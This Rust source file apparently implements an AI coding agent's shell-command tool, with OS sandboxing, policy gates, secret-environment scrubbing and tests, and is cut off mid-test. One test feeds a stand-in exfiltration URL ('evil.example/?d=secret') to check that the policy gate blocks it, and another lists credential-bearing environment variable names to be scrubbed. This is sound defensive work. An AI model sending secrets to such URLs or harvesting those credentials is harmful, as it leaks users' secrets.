1use mermaid_domain::ProgressEvent;
24use std::path::{Path, PathBuf};
25use std::process::Stdio;
26use std::time::{Duration, Instant};
27
28use async_trait::async_trait;
29use tokio::io::{AsyncRead, AsyncReadExt, AsyncWriteExt};
30use tokio::process::Command;
31
32use mermaid_domain::{FilesystemPolicy, NetworkPolicy};
33use mermaid_domain::{ManagedProcess, ToolDefinition, ToolMetadata, ToolOutcome, ToolRunMetadata};
34use mermaid_model::constants::{COMMAND_MAX_TIMEOUT_SECS, COMMAND_TIMEOUT_SECS};
35
36use super::super::ctx::ExecContext;
37use super::ToolExecutor;
38
39pub struct ExecuteCommandTool;
49
50#[derive(Debug, Clone, Copy, PartialEq, Eq)]
51enum CommandMode {
52 Wait,
53 Background,
54}
55
56impl CommandMode {
57 pub(crate) fn parse(args: &serde_json::Value) -> Result<Self, String> {
58 match args.get("mode").and_then(|v| v.as_str()).unwrap_or("wait") {
59 "wait" | "foreground" => Ok(Self::Wait),
60 "background" => Ok(Self::Background),
61 other => Err(format!(
62 "execute_command: mode must be 'wait' or 'background', got '{other}'"
63 )),
64 }
65 }
66}
67
68#[derive(Debug, Clone, PartialEq, Eq)]
74pub(crate) struct SandboxPlan {
75 pub(crate) network: bool,
76 pub(crate) fs: bool,
77 pub(crate) confine_writes: Option<Vec<PathBuf>>,
82 pub(crate) read_only: bool,
88}
89
90impl SandboxPlan {
91 #[cfg(test)]
93 pub(crate) const NONE: Self = Self {
94 network: false,
95 fs: false,
96 confine_writes: None,
97 read_only: false,
98 };
99
100 pub(crate) fn resolve(ctx: &ExecContext, effective_workdir: &Path) -> Self {
101 if ctx.safety_mode == mermaid_runtime::SafetyMode::ReadOnly && read_only_probe() {
105 return Self {
106 network: false,
107 fs: false,
108 confine_writes: None,
109 read_only: true,
110 };
111 }
112 let sandbox_expected = cfg!(any(
116 target_os = "linux",
117 target_os = "macos",
118 target_os = "windows"
119 ));
120 let net_requested = matches!(ctx.config.safety.network, NetworkPolicy::Deny);
121 let fs_requested = matches!(ctx.config.safety.filesystem, FilesystemPolicy::Project);
122 let (net_available, fs_available) = sandbox_probes();
123 let network = net_requested && (sandbox_expected || net_available);
124 let fs = fs_requested && (sandbox_expected || fs_available);
125 if (net_requested && !net_available) || (fs_requested && !fs_available) {
126 static DEGRADED_WARN: std::sync::Once = std::sync::Once::new();
127 DEGRADED_WARN.call_once(|| {
128 if sandbox_expected {
129 tracing::warn!(
130 "sandbox policy requested but the OS sandbox backend probe failed; \
131 sandboxed commands will refuse to run (fail-closed)"
132 );
133 } else {
134 tracing::warn!(
135 "sandbox policy requested but no OS sandbox backend exists on this \
136 platform; commands run unconfined"
137 );
138 }
139 });
140 }
141 let confine_writes = fs.then(|| {
142 let mut dirs = vec![
143 ctx.workdir.clone(),
144 effective_workdir.to_path_buf(),
145 std::env::temp_dir(),
146 ];
147 if cfg!(unix) {
148 dirs.push(PathBuf::from("/dev"));
149 }
150 dirs.dedup();
151 dirs
152 });
153 Self {
154 network,
155 fs,
156 confine_writes,
157 read_only: false,
158 }
159 }
160}
161
162#[async_trait]
163impl ToolExecutor for ExecuteCommandTool {
164 fn name(&self) -> &'static str {
165 "execute_command"
166 }
167
168 fn schema(&self) -> ToolDefinition {
169 ToolDefinition {
170 name: "execute_command".to_string(),
171 description:
172 "Run a shell command — PowerShell on Windows, sh on Linux/macOS; write the command in that shell's syntax. Use mode='wait' for finite commands, or mode='background' for dev servers and GUI/daemon-style commands that should keep running after the tool returns. Ctrl+C during foreground execution aborts the child immediately. The session scratchpad directory (for throwaway files) is exported to the child as MERMAID_SCRATCHPAD."
173 .to_string(),
174 input_schema: serde_json::json!({
175 "type": "object",
176 "properties": {
177 "command": { "type": "string", "description": "Shell command to run." },
178 "working_dir": { "type": "string", "description": "Override working directory (absolute)." },
179 "mode": {
180 "type": "string",
181 "enum": ["wait", "background"],
182 "default": "wait",
183 "description": "Use 'background' for long-running servers, daemons, and GUI launchers."
184 },
185 "timeout": {
186 "type": "integer",
187 "description": "Per-call foreground timeout in seconds. Default 30, max 300. Foreground timeout kills the child."
188 },
189 "startup_timeout_secs": {
190 "type": "integer",
191 "description": "Background mode: seconds to watch startup logs for readiness. Default 5, max 30."
192 },
193 "ready_pattern": {
194 "type": "string",
195 "description": "Background mode: text that marks the server/app ready when it appears in the startup log."
196 },
197 "open_url": {
198 "type": "string",
199 "description": "Background mode: URL to open with the default browser after startup."
200 }
201 },
202 "required": ["command"]
203 }),
204 }
205 }
206
207 #[expect(
208 clippy::too_many_lines,
209 reason = "the shell tool's whole path: cwd containment, the policy gate with its \
210 checkpoint, the background branch, the sandbox decision, then the PTY attempt with the \
211 pipe fallback; every stage reads the command, workdir and sandbox flags the earlier ones \
212 settled, and the two spawn paths must call the same finish so their semantics cannot \
213 drift, which is easiest to see with both in one place"
214 )]
215 async fn execute(&self, args: serde_json::Value, ctx: ExecContext) -> ToolOutcome {
216 let Some(command) = args.get("command").and_then(|v| v.as_str()) else {
217 return ToolOutcome::error("execute_command requires 'command' (string)", None);
218 };
219
220 if contains_dangerous_command(command) {
221 return ToolOutcome::error(format!("Dangerous command blocked: {command}"), None);
222 }
223
224 let (effective_workdir, within_project) = match args
231 .get("working_dir")
232 .and_then(|v| v.as_str())
233 {
234 Some(raw) => match super::path_safety::resolve_path_within(&ctx.workdir, raw) {
235 Ok(resolved) => resolved,
236 Err(e) => {
237 return ToolOutcome::error(format!("execute_command working_dir: {e}"), None);
238 },
239 },
240 None => (ctx.workdir.clone(), true),
241 };
242 let containment = classify_cwd(
243 within_project,
244 &effective_workdir,
245 ctx.scratchpad.as_deref(),
246 );
247
248 let category = match containment {
249 CwdContainment::Project | CwdContainment::Scratchpad => {
250 mermaid_runtime::ToolCategory::Shell
251 },
252 CwdContainment::External => mermaid_runtime::ToolCategory::ExternalDirectory,
253 };
254 let scratch_contained = containment == CwdContainment::Scratchpad
257 && ctx
258 .scratchpad
259 .as_deref()
260 .is_some_and(|scratch| command_provably_in_scratch(command, scratch));
261 let mut policy_request =
262 mermaid_runtime::ActionRequest::new("execute_command", category, command.to_string());
263 policy_request.command = Some(command.to_string());
264 policy_request.cwd = Some(effective_workdir.clone());
268 let sandbox = SandboxPlan::resolve(&ctx, &effective_workdir);
272 policy_request.read_only_contained = sandbox.read_only;
273 if containment == CwdContainment::External {
274 policy_request.path = Some(effective_workdir.display().to_string());
275 }
276 let pending_action = serde_json::json!({
277 "tool": "execute_command",
278 "args": args.clone(),
279 "workdir": effective_workdir.display().to_string(),
280 "turn_id": ctx.turn.0,
281 "call_id": ctx.call_id.0,
282 "task_id": ctx.task_id.clone(),
283 });
284 match super::policy_gate::gate(
289 &ctx,
290 policy_request,
291 &[],
292 pending_action.clone(),
293 true,
294 scratch_contained,
295 )
296 .await
297 {
298 super::policy_gate::Gate::Block(outcome) => return outcome,
299 super::policy_gate::Gate::Proceed { risk } => {
300 if !scratch_contained
303 && ctx.config.safety.checkpoint_on_mutation
304 && risk != mermaid_runtime::RiskClass::ReadOnly
305 {
306 let _ = mermaid_runtime::create_checkpoint_for_task(
307 &ctx.workdir,
308 &[],
309 Some(pending_action.clone()),
310 ctx.checkpoint_origin(),
311 );
312 }
313 },
314 }
315
316 let mode = match CommandMode::parse(&args) {
317 Ok(mode) => mode,
318 Err(error) => return ToolOutcome::error(error, None),
319 };
320 let shell_payload = serde_json::json!({
321 "task_id": ctx.task_id.clone(),
322 "turn_id": ctx.turn.0,
323 "call_id": ctx.call_id.0,
324 "command": command,
325 "working_dir": effective_workdir.display().to_string(),
326 });
327 let _ = mermaid_runtime::run_plugin_hooks("before_shell", &shell_payload);
328 if mode == CommandMode::Background {
329 let startup_timeout_secs = args
330 .get("startup_timeout_secs")
331 .or_else(|| args.get("startup_timeout"))
332 .and_then(|v| v.as_u64())
333 .unwrap_or(5)
334 .clamp(1, 30);
335 let ready_pattern = args
336 .get("ready_pattern")
337 .and_then(|v| v.as_str())
338 .map(str::to_string);
339 let open_url = args
340 .get("open_url")
341 .and_then(|v| v.as_str())
342 .filter(|v| !v.trim().is_empty())
343 .map(str::to_string);
344 if let Some(url) = open_url.as_deref()
352 && let Some(blocked) = super::policy_gate::gate_external(
353 &ctx,
354 "open_url",
355 mermaid_runtime::ToolCategory::Web,
356 format!("open_url {url}"),
357 &serde_json::json!({ "url": url }),
358 )
359 .await
360 {
361 return blocked;
362 }
363 let outcome = run_background_command(
364 command,
365 &sandbox,
366 &effective_workdir,
367 startup_timeout_secs,
368 ready_pattern.as_deref(),
369 open_url.as_deref(),
370 ctx,
371 )
372 .await;
373 let _ = mermaid_runtime::run_plugin_hooks(
374 "after_shell",
375 &serde_json::json!({
376 "command": command,
377 "status": format!("{:?}", outcome.status),
378 "summary": &outcome.summary,
379 }),
380 );
381 return outcome;
382 }
383
384 let timeout_secs = args
385 .get("timeout")
386 .and_then(|v| v.as_u64())
387 .unwrap_or(COMMAND_TIMEOUT_SECS)
388 .min(COMMAND_MAX_TIMEOUT_SECS);
389
390 let command = command.to_string();
391 let start = Instant::now();
392 let progress = ctx.progress.clone();
393
394 if ctx.config.exec.pty_enabled() {
401 let invocation = shell_invocation(&command, &sandbox);
402 match run_command_pty(
403 &invocation,
404 &effective_workdir,
405 ctx.scratchpad.as_deref(),
406 progress.clone(),
407 ctx.token.clone(),
408 ctx.background.clone(),
409 Duration::from_secs(timeout_secs),
410 )
411 .await
412 {
413 Ok(run) => {
414 let outcome = finish_foreground_command(
415 Ok(run),
416 &command,
417 &effective_workdir,
418 start,
419 timeout_secs,
420 &sandbox,
421 );
422 let _ = mermaid_runtime::run_plugin_hooks(
423 "after_shell",
424 &serde_json::json!({
425 "command": command,
426 "status": format!("{:?}", outcome.status),
427 "summary": &outcome.summary,
428 }),
429 );
430 return outcome;
431 },
432 Err(err) => {
435 tracing::warn!(error = %err, "PTY exec unavailable; falling back to pipes");
436 },
437 }
438 }
439
440 let mut cmd = build_sandboxed_shell(&command, &sandbox);
441 cmd.stdin(Stdio::null())
442 .stdout(Stdio::piped())
443 .stderr(Stdio::piped())
444 .kill_on_drop(false);
454
455 #[cfg(unix)]
468 unsafe {
469 cmd.pre_exec(|| {
470 rustix::process::setsid()?;
471 Ok(())
472 });
473 }
474
475 cmd.current_dir(&effective_workdir);
476 scrub_secret_env(&mut cmd);
477 harden_noninteractive_env(&mut cmd);
478 export_scratchpad_env(&mut cmd, ctx.scratchpad.as_deref());
479
480 let outcome = finish_foreground_command(
485 run_command(
486 cmd,
487 progress,
488 ctx.token.clone(),
489 ctx.background.clone(),
490 Duration::from_secs(timeout_secs),
491 )
492 .await,
493 &command,
494 &effective_workdir,
495 start,
496 timeout_secs,
497 &sandbox,
498 );
499 let _ = mermaid_runtime::run_plugin_hooks(
500 "after_shell",
501 &serde_json::json!({
502 "command": command,
503 "status": format!("{:?}", outcome.status),
504 "summary": &outcome.summary,
505 }),
506 );
507 outcome
508 }
509}
510
511#[expect(
516 clippy::too_many_lines,
517 reason = "one arm per CommandRunResult variant, each filling the full eleven-field command \
518 metadata for its case; the completed arm also maps sandbox denials to their messages, and \
519 the metadata literals are what make it long"
520)]
521fn finish_foreground_command(
522 result: std::io::Result<CommandRunResult>,
523 command: &str,
524 effective_workdir: &Path,
525 start: Instant,
526 timeout_secs: u64,
527 sandbox: &SandboxPlan,
528) -> ToolOutcome {
529 let command = command.to_string();
530 match result {
531 Ok(CommandRunResult::Completed(run)) => {
532 let duration_secs = start.elapsed().as_secs_f64();
533 let output_len = run.output.len();
534 let mut metadata = command_metadata(CommandMetadataInput {
535 command: command.clone(),
536 working_dir: Some(effective_workdir.display().to_string()),
537 exit_code: run.exit_code,
538 timed_out: false,
539 background: false,
540 stdout_lines: run.stdout_lines,
541 stderr_lines: run.stderr_lines,
542 detected_urls: all_urls(&run.output),
543 pid: None,
544 log_path: None,
545 byte_count: Some(output_len),
546 });
547 if let Some(kind) = detect_denial(&run, sandbox) {
548 if let ToolMetadata::ExecuteCommand {
552 denied_by_sandbox, ..
553 } = &mut metadata.detail
554 {
555 *denied_by_sandbox = true;
556 }
557 let message = match kind {
558 DenialKind::Network if cfg!(target_os = "linux") => {
562 NETWORK_DENIED_MESSAGE.to_string()
563 },
564 DenialKind::Network => format!(
565 "{HEDGED_NETWORK_DENIED_MESSAGE}\n\n--- original output ---\n{}",
566 run.output
567 ),
568 DenialKind::Filesystem => format!(
569 "{FS_DENIED_MESSAGE}\n\n--- original output ---\n{}",
570 run.output
571 ),
572 DenialKind::Ambiguous => format!(
573 "{AMBIGUOUS_DENIED_MESSAGE}\n\n--- original output ---\n{}",
574 run.output
575 ),
576 DenialKind::ReadOnlyNetwork => READ_ONLY_NETWORK_DENIED_MESSAGE.to_string(),
577 DenialKind::ReadOnly => format!(
578 "{READ_ONLY_DENIED_MESSAGE}\n\n--- original output ---\n{}",
579 run.output
580 ),
581 };
582 ToolOutcome::error(message, Some(duration_secs)).with_metadata(metadata)
583 } else {
584 ToolOutcome::success(run.output.clone(), "command completed", duration_secs)
585 .with_metadata(metadata)
586 }
587 },
588 Ok(CommandRunResult::Detached { pid, log_path }) => {
589 let duration_secs = start.elapsed().as_secs_f64();
591 let log_path_str = log_path.display().to_string();
592 let output = format!(
593 "Moved to background.\nPID: {pid}\nLog: {log_path_str}\nManage it with /processes, /logs {pid}, /stop {pid}."
594 );
595 let process = ManagedProcess {
596 id: format!("bg-{pid}"),
597 pid,
598 command: command.to_string(),
599 cwd: Some(effective_workdir.display().to_string()),
600 log_path: log_path_str.clone(),
601 detected_url: None,
602 status: mermaid_runtime::ProcessStatus::Running,
603 };
604 let mut metadata = command_metadata(CommandMetadataInput {
605 command: command.to_string(),
606 working_dir: Some(effective_workdir.display().to_string()),
607 exit_code: None,
608 timed_out: false,
609 background: true,
610 stdout_lines: 0,
611 stderr_lines: 0,
612 detected_urls: Vec::new(),
613 pid: Some(pid),
614 log_path: Some(log_path_str),
615 byte_count: Some(output.len()),
616 });
617 metadata.process = Some(process);
618 ToolOutcome::success(output, "moved to background", duration_secs)
619 .with_metadata(metadata)
620 },
621 Ok(CommandRunResult::Cancelled) => ToolOutcome::cancelled(),
622 Ok(CommandRunResult::TimedOut) => {
623 let message = format!(
624 "Command timed out after {timeout_secs} seconds and was killed. \
625 For dev servers, GUI apps, or other long-running commands, call execute_command with mode=\"background\"."
626 );
627 let duration_secs = start.elapsed().as_secs_f64();
628 ToolOutcome::error(message, Some(duration_secs)).with_metadata(command_metadata(
629 CommandMetadataInput {
630 command: command.clone(),
631 working_dir: Some(effective_workdir.display().to_string()),
632 exit_code: None,
633 timed_out: true,
634 background: false,
635 stdout_lines: 0,
636 stderr_lines: 0,
637 detected_urls: Vec::new(),
638 pid: None,
639 log_path: None,
640 byte_count: None,
641 },
642 ))
643 },
644 Err(e) => {
645 let duration_secs = start.elapsed().as_secs_f64();
646 ToolOutcome::error(format!("Command failed: {e}"), Some(duration_secs)).with_metadata(
647 command_metadata(CommandMetadataInput {
648 command: command.clone(),
649 working_dir: Some(effective_workdir.display().to_string()),
650 exit_code: None,
651 timed_out: false,
652 background: false,
653 stdout_lines: 0,
654 stderr_lines: 0,
655 detected_urls: Vec::new(),
656 pid: None,
657 log_path: None,
658 byte_count: None,
659 }),
660 )
661 },
662 }
663}
664
665pub(crate) mod background;
666pub(crate) mod capture;
667pub(crate) mod pty;
668pub(crate) mod sandbox;
669pub(crate) mod shell;
670
671pub(crate) use background::*;
672pub(crate) use capture::*;
673pub(crate) use pty::*;
674pub(crate) use sandbox::*;
675pub(crate) use shell::*;
676
677#[cfg(test)]
678mod tests {
679 use super::*;
680 use crate::providers::ctx::test_exec_context;
681 use mermaid_domain::{ToolCallId, TurnId};
682 use std::path::PathBuf;
683
684 fn plan(network: bool, confine_writes: Option<Vec<PathBuf>>) -> SandboxPlan {
687 SandboxPlan {
688 network,
689 fs: confine_writes.is_some(),
690 confine_writes,
691 read_only: false,
692 }
693 }
694
695 fn flags(network: bool, fs: bool) -> SandboxPlan {
697 SandboxPlan {
698 network,
699 fs,
700 confine_writes: None,
701 read_only: false,
702 }
703 }
704
705 const READ_ONLY_PLAN: SandboxPlan = SandboxPlan {
706 read_only: true,
707 ..SandboxPlan::NONE
708 };
709
710 #[test]
711 fn read_only_denials_name_the_read_only_sandbox() {
712 let out = |exit: Option<i32>, signal: Option<i32>, output: &str| CommandRunOutput {
713 output: output.to_string(),
714 exit_code: exit,
715 signal,
716 stdout_lines: 0,
717 stderr_lines: 0,
718 };
719 let sigsys = detect_denial(&out(None, Some(31), ""), &READ_ONLY_PLAN);
720 if cfg!(target_os = "linux") {
721 assert_eq!(sigsys, Some(DenialKind::ReadOnlyNetwork));
722 } else {
723 assert_eq!(sigsys, None, "SIGSYS is the Linux kill-switch only");
724 }
725 assert_eq!(
726 detect_denial(
727 &out(Some(1), None, "touch: Permission denied"),
728 &READ_ONLY_PLAN
729 ),
730 Some(DenialKind::ReadOnly)
731 );
732 assert_eq!(
733 detect_denial(&out(Some(1), None, "no such file"), &READ_ONLY_PLAN),
734 None
735 );
736 assert_eq!(
737 detect_denial(&out(Some(0), None, ""), &READ_ONLY_PLAN),
738 None
739 );
740 }
741
742 #[test]
743 fn read_only_plan_asks_the_launcher_for_read_only_alone() {
744 let wrapped = build_sandboxed_shell("echo hi", &READ_ONLY_PLAN);
745 let args: Vec<String> = wrapped
746 .as_std()
747 .get_args()
748 .map(|a| a.to_string_lossy().into_owned())
749 .collect();
750 assert_eq!(
751 args[..2],
752 ["__sandbox-exec", "--read-only"],
753 "args: {args:?}"
754 );
755 for other in ["--no-network", "--confine-fs", "--confine-writes"] {
756 assert!(!args.contains(&other.to_string()), "args: {args:?}");
757 }
758 }
759
760 #[test]
763 fn sandbox_plan_contains_read_only_mode_where_enforceable() {
764 let workdir = std::env::temp_dir();
765 let (mut ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), workdir.clone());
766 ctx.safety_mode = mermaid_runtime::SafetyMode::ReadOnly;
767 assert_eq!(
768 SandboxPlan::resolve(&ctx, &workdir).read_only,
769 mermaid_runtime::read_only_containment_available()
770 );
771 for mode in [
772 mermaid_runtime::SafetyMode::Ask,
773 mermaid_runtime::SafetyMode::Auto,
774 mermaid_runtime::SafetyMode::FullAccess,
775 ] {
776 ctx.safety_mode = mode;
777 assert!(!SandboxPlan::resolve(&ctx, &workdir).read_only, "{mode:?}");
778 }
779 }
780
781 #[test]
782 pub(crate) fn network_denial_detects_sigsys_and_reaped_child_exit() {
783 let out = |exit: Option<i32>, signal: Option<i32>| CommandRunOutput {
784 output: String::new(),
785 exit_code: exit,
786 signal,
787 stdout_lines: 0,
788 stderr_lines: 0,
789 };
790 assert!(is_sigsys_denial(&out(None, Some(31))));
792 assert!(is_sigsys_denial(&out(Some(159), None)));
794 assert!(!is_sigsys_denial(&out(Some(1), None)));
796 assert!(!is_sigsys_denial(&out(Some(0), None)));
797 assert!(!is_sigsys_denial(&out(None, Some(11)))); }
799
800 #[test]
801 pub(crate) fn detect_denial_gates_on_active_policies() {
802 let out = |exit: Option<i32>, signal: Option<i32>, output: &str| CommandRunOutput {
803 output: output.to_string(),
804 exit_code: exit,
805 signal,
806 stdout_lines: 0,
807 stderr_lines: 0,
808 };
809 assert_eq!(
812 detect_denial(
813 &out(Some(159), None, "Permission denied"),
814 &flags(false, false)
815 ),
816 None
817 );
818 assert_eq!(
819 detect_denial(&out(None, Some(31), ""), &flags(false, false)),
820 None
821 );
822 assert_eq!(
824 detect_denial(&out(Some(0), None, ""), &flags(true, true)),
825 None
826 );
827 #[cfg(target_os = "linux")]
828 {
829 assert_eq!(
832 detect_denial(&out(None, Some(31), ""), &flags(true, true)),
833 Some(DenialKind::Network)
834 );
835 assert_eq!(
836 detect_denial(
837 &out(Some(1), None, "Permission denied"),
838 &flags(false, true)
839 ),
840 Some(DenialKind::Filesystem)
841 );
842 assert_eq!(
845 detect_denial(
846 &out(Some(1), None, "Permission denied"),
847 &flags(true, false)
848 ),
849 None
850 );
851 }
852 #[cfg(target_os = "macos")]
853 {
854 let eperm = out(Some(1), None, "curl: Operation not permitted");
856 assert_eq!(
857 detect_denial(&eperm, &flags(true, false)),
858 Some(DenialKind::Network)
859 );
860 assert_eq!(
861 detect_denial(&eperm, &flags(false, true)),
862 Some(DenialKind::Filesystem)
863 );
864 assert_eq!(
865 detect_denial(&eperm, &flags(true, true)),
866 Some(DenialKind::Ambiguous)
867 );
868 }
869 }
870
871 #[test]
872 pub(crate) fn fs_denial_requires_failure_and_permission_signature() {
873 let out = |exit: Option<i32>, output: &str| CommandRunOutput {
874 output: output.to_string(),
875 exit_code: exit,
876 signal: None,
877 stdout_lines: 0,
878 stderr_lines: 0,
879 };
880 assert!(is_permission_denial(&out(
882 Some(1),
883 "sh: line 1: /etc/nope: Permission denied"
884 )));
885 assert!(is_permission_denial(&out(
886 Some(2),
887 "touch: Operation not permitted"
888 )));
889 assert!(!is_permission_denial(&out(
891 Some(0),
892 "grep found: Permission denied"
893 )));
894 assert!(!is_permission_denial(&out(Some(1), "some other failure")));
896 assert!(!is_permission_denial(&out(None, "Permission denied")));
897 }
898
899 #[test]
900 pub(crate) fn sandboxed_shell_wraps_only_when_requested() {
901 let plain = build_sandboxed_shell("echo hi", &SandboxPlan::NONE);
902 let plain_prog = plain.as_std().get_program().to_string_lossy().into_owned();
903 assert!(
904 ["sh", "pwsh", "powershell"].contains(&plain_prog.as_str()),
905 "plain shell program: {plain_prog}"
906 );
907
908 let wrapped = build_sandboxed_shell("echo hi", &plan(true, None));
909 let args: Vec<String> = wrapped
910 .as_std()
911 .get_args()
912 .map(|a| a.to_string_lossy().into_owned())
913 .collect();
914 assert_eq!(args.first().map(String::as_str), Some("__sandbox-exec"));
915 assert!(args.contains(&"--no-network".to_string()));
916 assert!(!args.contains(&"--confine-writes".to_string()));
917 assert!(
918 args.iter()
919 .any(|a| ["sh", "pwsh", "powershell"].contains(&a.as_str())),
920 "args: {args:?}"
921 );
922 }
923
924 #[test]
931 pub(crate) fn empty_confine_writes_still_requests_confinement() {
932 let wrapped = build_sandboxed_shell("echo hi", &plan(false, Some(Vec::new())));
933 let args: Vec<String> = wrapped
934 .as_std()
935 .get_args()
936 .map(|a| a.to_string_lossy().into_owned())
937 .collect();
938 assert_eq!(args.first().map(String::as_str), Some("__sandbox-exec"));
939 assert!(
940 args.contains(&"--confine-fs".to_string()),
941 "an empty allowlist must still say confinement was requested: {args:?}"
942 );
943 assert!(
944 !args.contains(&"--confine-writes".to_string()),
945 "…with no allowed roots: {args:?}"
946 );
947 }
948
949 #[test]
950 pub(crate) fn sandboxed_shell_passes_confine_writes_dirs() {
951 let dirs = vec![PathBuf::from("/proj"), PathBuf::from("/dev")];
952 let wrapped = build_sandboxed_shell("echo hi", &plan(false, Some(dirs)));
953 let args: Vec<String> = wrapped
954 .as_std()
955 .get_args()
956 .map(|a| a.to_string_lossy().into_owned())
957 .collect();
958 assert_eq!(args.first().map(String::as_str), Some("__sandbox-exec"));
959 assert!(!args.contains(&"--no-network".to_string()));
960 assert!(
961 args.contains(&"--confine-fs".to_string()),
962 "the marker states that confinement was REQUESTED: {args:?}"
963 );
964 assert_eq!(
966 args.iter().filter(|a| *a == "--confine-writes").count(),
967 2,
968 "args: {args:?}"
969 );
970 assert!(args.contains(&"/proj".to_string()));
971 assert!(args.contains(&"/dev".to_string()));
972 }
973
974 #[test]
975 pub(crate) fn powershell_wrap_carries_stop_pref_and_exit_code_trailer() {
976 let wrapped = powershell_wrap("cargo build");
977 assert!(wrapped.starts_with("$ErrorActionPreference='Stop'\n"));
978 assert!(wrapped.contains("cargo build"));
979 assert!(wrapped.ends_with("{ exit $LASTEXITCODE }"));
980 }
981
982 #[cfg(target_os = "windows")]
983 #[test]
984 pub(crate) fn windows_shell_invocation_is_powershell() {
985 let inv = shell_invocation("echo hi", &SandboxPlan::NONE);
986 let prog = inv.program.to_string_lossy().into_owned();
987 assert!(prog == "pwsh" || prog == "powershell", "program: {prog}");
988 let args: Vec<String> = inv
989 .args
990 .iter()
991 .map(|a| a.to_string_lossy().into_owned())
992 .collect();
993 assert_eq!(&args[..3], ["-NoProfile", "-NonInteractive", "-Command"]);
994 assert!(args[3].contains("echo hi"), "args: {args:?}");
995 }
996
997 #[cfg(target_os = "windows")]
1001 #[tokio::test]
1002 async fn windows_native_exit_code_propagates() {
1003 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1004 let outcome = ExecuteCommandTool
1005 .execute(serde_json::json!({"command": "cmd /c exit 7"}), ctx)
1006 .await;
1007 match &outcome.metadata.detail {
1008 mermaid_domain::ToolMetadata::ExecuteCommand { exit_code, .. } => {
1009 assert_eq!(*exit_code, Some(7), "outcome: {outcome:?}");
1010 },
1011 other => panic!("unexpected metadata: {other:?}"),
1012 }
1013 }
1014
1015 #[cfg(target_os = "windows")]
1017 #[tokio::test]
1018 async fn windows_powershell_syntax_works() {
1019 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1020 let outcome = ExecuteCommandTool
1021 .execute(
1022 serde_json::json!({"command": "Write-Output ('mermaid-' + 'ps')"}),
1023 ctx,
1024 )
1025 .await;
1026 assert!(outcome.is_success(), "outcome: {outcome:?}");
1027 assert!(
1028 outcome.output().contains("mermaid-ps"),
1029 "output: {}",
1030 outcome.output()
1031 );
1032 }
1033
1034 #[tokio::test]
1035 async fn tee_log_is_capped() {
1036 let dir = std::env::temp_dir().join(format!("mermaid_teelog_{}", std::process::id()));
1040 let _ = std::fs::create_dir_all(&dir);
1041 let path = dir.join("log.txt");
1042 let file = tokio::fs::File::create(&path).await.unwrap();
1043 let log = std::sync::Arc::new(tokio::sync::Mutex::new(file));
1044 let data = vec![b'x'; 4000];
1046 let _ = read_capped(&data[..], 1_000_000, 16, None, Some(log)).await;
1047 let written = std::fs::read(&path).unwrap();
1048 assert!(
1049 written.len() < 200,
1050 "log must be capped near 16 bytes + marker, got {}",
1051 written.len()
1052 );
1053 assert!(String::from_utf8_lossy(&written).contains("log truncated"));
1054 let _ = std::fs::remove_dir_all(&dir);
1055 }
1056
1057 #[cfg(unix)]
1058 #[test]
1059 pub(crate) fn tee_log_created_owner_only_and_refuses_existing() {
1060 use std::os::unix::fs::PermissionsExt;
1065 let dir = std::env::temp_dir().join(format!("mermaid_loghard_{}", std::process::id()));
1066 let _ = std::fs::create_dir_all(&dir);
1067 let path = dir.join("bg.log");
1068 let _ = std::fs::remove_file(&path);
1069
1070 let file = create_log_file_blocking(&path).expect("first create succeeds");
1071 drop(file);
1072 let mode = std::fs::metadata(&path).unwrap().permissions().mode() & 0o777;
1073 assert_eq!(mode, 0o600, "tee log must be owner-only, got {mode:o}");
1074
1075 assert!(
1078 create_log_file_blocking(&path).is_err(),
1079 "O_EXCL must refuse an existing path"
1080 );
1081 let _ = std::fs::remove_dir_all(&dir);
1082 }
1083
1084 #[test]
1085 pub(crate) fn secret_env_name_denylist_covers_common_carriers() {
1086 for name in [
1088 "ANTHROPIC_API_KEY",
1089 "AWS_SECRET_ACCESS_KEY",
1090 "GITHUB_TOKEN",
1091 "MY_SERVICE_PRIVATE_KEY",
1092 "DATABASE_URL",
1093 "SENTRY_DSN",
1094 "SLACK_WEBHOOK_URL",
1095 "KUBECONFIG",
1096 "SSH_AUTH_SOCK",
1097 "DB_PASSWORD",
1098 "PG_CONNECTION_STRING",
1099 ] {
1100 assert!(is_secret_env_name(name), "{name} should be scrubbed");
1101 }
1102 for name in [
1104 "PATH",
1105 "HOME",
1106 "CARGO_HOME",
1107 "LANG",
1108 "XAUTHORITY",
1109 "RUSTUP_HOME",
1110 ] {
1111 assert!(!is_secret_env_name(name), "{name} should NOT be scrubbed");
1112 }
1113 }
1114
1115 #[tokio::test]
1116 async fn out_of_project_working_dir_is_escalated_and_blocked() {
1117 let project = std::env::temp_dir().join(format!("mermaid_wd_{}", std::process::id()));
1122 let _ = std::fs::remove_dir_all(&project);
1123 std::fs::create_dir_all(&project).unwrap();
1124 let outside = project.parent().unwrap().to_path_buf();
1125
1126 let mk_ctx = || {
1127 let mut config = mermaid_domain::Config::default();
1128 config.safety.mode = mermaid_runtime::SafetyMode::ReadOnly;
1129 crate::providers::ctx::test_exec_context_with_config(
1130 TurnId(1),
1131 ToolCallId(1),
1132 project.clone(),
1133 config,
1134 )
1135 };
1136
1137 let (ctx, _rx) = mk_ctx();
1138 let outcome = ExecuteCommandTool
1139 .execute(serde_json::json!({"command": "echo hi"}), ctx)
1140 .await;
1141 assert!(
1142 outcome.is_success(),
1143 "in-project read-only echo should run: {outcome:?}",
1144 );
1145
1146 let (ctx, _rx) = mk_ctx();
1147 let outcome = ExecuteCommandTool
1148 .execute(
1149 serde_json::json!({
1150 "command": "echo hi",
1151 "working_dir": outside.display().to_string(),
1152 }),
1153 ctx,
1154 )
1155 .await;
1156 assert_eq!(
1157 outcome.status,
1158 mermaid_domain::ToolStatus::Error,
1159 "out-of-project working_dir must be escalated + blocked: {outcome:?}",
1160 );
1161
1162 let _ = std::fs::remove_dir_all(&project);
1163 }
1164
1165 #[tokio::test]
1176 async fn background_open_url_is_policy_gated() {
1177 let mode = mermaid_runtime::SafetyMode::ReadOnly;
1178 let mut config = mermaid_domain::Config::default();
1179 config.safety.mode = mode;
1180 let (ctx, _rx) = crate::providers::ctx::test_exec_context_with_config(
1181 TurnId(1),
1182 ToolCallId(1),
1183 std::env::temp_dir(),
1184 config,
1185 );
1186 let outcome = ExecuteCommandTool
1187 .execute(
1188 serde_json::json!({
1189 "command": "tail -f /dev/null",
1195 "mode": "background",
1196 "open_url": "https://evil.example/?d=secret",
1197 }),
1198 ctx,
1199 )
1200 .await;
